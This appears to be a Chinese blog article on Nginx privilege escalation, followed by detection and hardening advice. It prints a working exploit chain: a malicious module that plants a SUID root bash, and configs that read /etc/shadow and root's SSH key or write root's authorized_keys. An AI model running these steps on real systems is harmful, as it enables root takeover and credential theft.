1. 引言:被低估的“配置即代码”风险
在传统的系统安全审计与红蓝对抗场景中,Nginx、Apache 这类成熟的 Web 服务器自身极少暴露出直接导致系统提权的远程漏洞。然而,Nginx 常常被用作实现本地权限提升(LPE)或权限维持(Persistence)的隐蔽跳板。
提权的根源取决于运行 Nginx Master 进程的“实际用户(UID)”是谁,以及该进程对配置文件的控制权是否发生了交割。一旦低权限用户能够篡改 Nginx 配置文件,或通过参数指定自定义配置,且 Nginx Master 进程具有高权限,那么 Nginx 将瞬间蜕变为一个天然的“特权代码执行器”。
2. 场景复现:四种高危权限拓扑
在以下几种典型的生产或靶场环境中,攻击者极易通过 Nginx 夺取更高权限:
2.1 错误的 Sudo 权限下放
运维人员为了让特定开发或运维账号(如 mikannse)能够重启服务,在 /etc/sudoers 中配置了免密执行全局 Nginx 命令:
mikannse ALL=(ALL : ALL) NOPASSWD: /usr/sbin/sbin/nginx
2.2 SUID 权限滥用
为了绕过复杂的权限控制,运维人员直接给 Nginx 二进制文件赋予了 SUID 权限:
chmod +s /usr/sbin/nginx
此时任何低权限用户执行该程序,Linux 内核都会强制以该二进制文件所有者(通常是 root)的有效用户 ID(EUID)来运行该进程。
2.3 配置文件自主访问控制(DAC)缺陷
Nginx 默认由 systemd 以 root 身份启动主进程(Master Process)。但由于后期运维调整或配置自动化工具的不当设置,导致 /etc/nginx/nginx.conf 或 /etc/nginx/conf.d/ 目录对普通用户或 Web 用户(如 www-data)开放了写权限。
2.4 容器环境默认 Root 运行
在许多默认的 Docker 镜像中,Nginx Master 进程在容器内直接以 root 权限运行。一旦攻击者通过 Webshell 拿到容器权限并能修改配置,即可利用该链条在容器内提权,进而作为实施容器逃逸的基础跳板。
3. 核心利用链解析与深层原理
Nginx 原生支持使用 -c 参数指定自定义配置文件(nginx -c /path/to/malicious.conf),并在全局块中支持通过 load_module 指令动态加载标准 ELF 动态链接库(.so 文件)。这一特性构成了以下几条致命的攻击链。
3.1 利用链一:动态模块加载提权(内存级代码执行)
3.1.1 原理深入解析
自 Nginx 1.9.11 版本引入动态模块(Dynamic Modules)以来,标准扩展均编译为 .so 文件。当 Nginx 解析到 load_module 指令时,其底层调用的是 C 语言标准库中的 dlopen() 函数。
如果我们在 C 代码中使用 __attribute__((constructor)) 属性,编译器会将该段代码编译进 ELF 文件的 .init 或 .init_array 节(Section)中。这意味着无需等待任何 Web 请求,只要 Nginx 进程启动并解析该行配置,恶意动态链接库中的代码就会在 Master 进程(以 root 身份运行)的上下文中立即、无条件地执行。
3.1.2 攻击实施步骤
1. 编写恶意 C 模块代码 (pwn.c)
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
// 声明构造函数,确保在 .so 加载时立即触发
__attribute__((constructor))
void init() {
// 关键点:显式同步内核中的实际 UID (RUID) 与有效 UID (EUID)
// 很多利用脚本失败的原因是未处理 RUID,导致 system() 降权运行
setuid(0);
setgid(0);
// 劫持执行流:向系统写入 SUID 后门
system("cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash");
}
2. 编译为符合 ELF 规范的动态链接库
gcc -fPIC -shared -o /tmp/pwn.so pwn.c
3. 编写引入该模块的恶意配置文件 (bypass.conf)
# 在全局块首行加载恶意模块
load_module /tmp/pwn.so;
events {
worker_connections 1024;
}
http {
# 保持最简结构以防语法报错导致进程提前崩溃
}
4. 触发加载
以特权身份(通过 sudo、SUID 或劫持系统服务重启)加载该配置:
/usr/sbin/nginx -c /tmp/bypass.conf
防御侧视角: 即使 Nginx 随后因为没有配置监听端口或语法不完整而报错退出,/tmp/rootbash 也已经在其退出的前一毫秒被内核处理完毕。攻击者只需执行 /tmp/rootbash -p 即可直接获得持久化的 root shell。
3.2 利用链二:任意文件读取与高价值资产横向移动
3.2.1 原理说明
如果目标服务器属于精简生产环境(如裁剪过的容器),没有编译环境(缺少 gcc),无法生成 .so 文件,攻击者可以利用 Nginx 的静态文件服务能力突破文件系统的自主访问控制(DAC)限制。
3.2.2 恶意配置示例 (read.conf)
user root; # 强制 Worker 进程以 root 身份运行,否则无法读取 /etc/shadow
worker_processes 1;
events { worker_connections 1024; }
http {
server {
listen 127.0.0.1:9999; # 仅监听本地,规避外部网络安全设备的流量感知
location / {
root /; # 将系统根目录直接映射为 Web 根目录
autoindex on; # 开启目录资产遍历,用于快速盘点敏感资产
}
}
}
3.2.3 资产获取
启动后,通过本地发起请求,可以直接向 root 进程索取敏感文件:
curl http://127.0.0.1:9999/etc/shadow
curl http://127.0.0.1:9999/root/.ssh/id_rsa
通过获取 shadow 哈希进行本地离线爆破,或直接窃取 root 的 SSH 私钥,均能实现隐蔽的权限跃升。
3.3 利用链三:通过 WebDAV 协议实现任意文件写入与持久化控制
3.3.1 原理说明
当 Nginx 拥有高权限且编译时开启了 ngx_http_dav_module 模块时,可以通过 HTTP PUT 方法向服务器上传任意文件。攻击者可以借此向系统敏感路径(如用户的 cron 计划任务、/etc/passwd、或用户的 authorized_keys)直接写入或覆盖数据。
3.3.2 恶意配置示例 (write.conf)
user root;
events {}
http {
server {
listen 9998;
location / {
root /root/.ssh/; # 映射目标用户的公钥配置目录
dav_methods PUT DELETE; # 激活 WebDAV 写入与删除能力
create_full_put_path on;
client_body_temp_path /tmp;
}
}
}
3.3.3 攻击利用
# 直接向 root 的 ssh 目录写入攻击者的公钥
curl -T /home/mikannse/.ssh/id_rsa.pub http://127.0.0.1:9998/authorized_keys
4. 攻击矩阵与风险量化对比
以下表格从实战角度对各攻击路径进行全方位对比:
| 利用链名称 | 核心依赖条件 | 权限获取形式 | 内存与磁盘痕迹 | 风险隐蔽度 |
|---|---|---|---|---|
动态模块加载 (load_module) |
具备 .so 写入权限,系统有 dlopen 支持 |
瞬时获取 Root Shell | 磁盘存留 .so,内存触发代码执行 |
极高(可规避传统文件操作行为审计) |
任意文件读取 (root /) |
能够修改或指定配置,需要端口监听 | 信息泄露 / 间接提权 | 产生 Web 访问日志,暴露本地高位端口 | 中等(易被本地端口扫描识别) |
WebDAV 文件写入 (PUT) |
编译有 dav 模块,目录具写权限 |
持久化后门 / 覆盖提权 | 文件系统产生直接变更,写日志留痕 | 较低(易触发主机入侵检测系统 HIDS) |
5. 应急排查与主机加固防御
5.1 应急排查重点命令
作为安全管理员,当怀疑系统被通过 Nginx 提权时,应立即执行以下审计步骤:
检查非预期的 Nginx 配置文件加载
# 查看当前运行的 Nginx 进程其真实的命令行参数,重点排查 -c 是否指向异常路径
ps -ef | grep nginx
# 检查当前 Nginx 进程打开的文件句柄,确认是否有非 root 目录下的 .so 模块被载入
lsof -p $(pgrep -o nginx) | grep '\.so'
审计配置文件写权限
# 查找系统中所有对普通用户开放写权限的 Nginx 配置文件
find /etc/nginx/ -name "*.conf" -perm -o+w
5.2 纵深防御与加固方案
5.2.1 严格收敛二阶参数执行权
在配置 sudo 权限时,切忌直接授予对 /usr/sbin/nginx 二进制的泛解析执行权。应通过限制可选参数,锁定配置文件的生成与加载:
# 仅允许执行默认配置的测试与重启,显式禁止 -c 参数的使用
mikannse ALL=(ALL : ALL) NOPASSWD: /usr/sbin/nginx -t, /usr/sbin/nginx -s reload
5.2.2 践行“配置只读”原则
确保整个 /etc/nginx/ 及其子目录下的所有 .conf 文件的所有者均为 root:root,且权限严格限制为 644(仅 root 可写)。防止低权限 Web 服务账号(如 www-data)因应用层漏洞沦陷后,通过修改配置链条联动导致整机提权。
5.2.3 生产环境能力剪裁
- 阻断动态加载引擎: 如果业务不需要第三方动态模块,在编译 Nginx 时,应通过
--without-dynamic-module彻底关闭动态加载引擎。 - 移除工具链: 生产环境中应全面卸载
gcc、make、clang等编译工具,大幅度增高攻击者现场编译恶意.so模块的技术门槛。
5.2.4 容器安全硬化(反减刑配置)
在 Dockerfile 中,应当创建低权限的专有 nginx 用户,并使用 USER nginx 指令切换运行上下文,结合 Linux Capabilities(仅授予 CAP_NET_BIND_SERVICE 以监听低位端口,绝不授予 CAP_SYS_MODULE),避免 Master 进程在容器内以原始 root 权限运行。
6. 结论
“配置即代码(Configuration as Code)”。Nginx 本身具有极高的工程鲁棒性,但赋予其高度灵活性的 -c 参数与 load_module 特性,在操作系统权限划分模糊时,极易被转化为高效的命令执行武器。在进行日常资产合规审计与系统加固时,切莫单纯孤立地去检查软件版本补丁,对进程执行树(Process Tree)的 UID 归属、以及配置文件的写权限矩阵进行交叉审计,才是将此类本地提权风险化解于无形的关键所在。
原文 https://blog.csdn.net/2301_79518550/article/details/149136592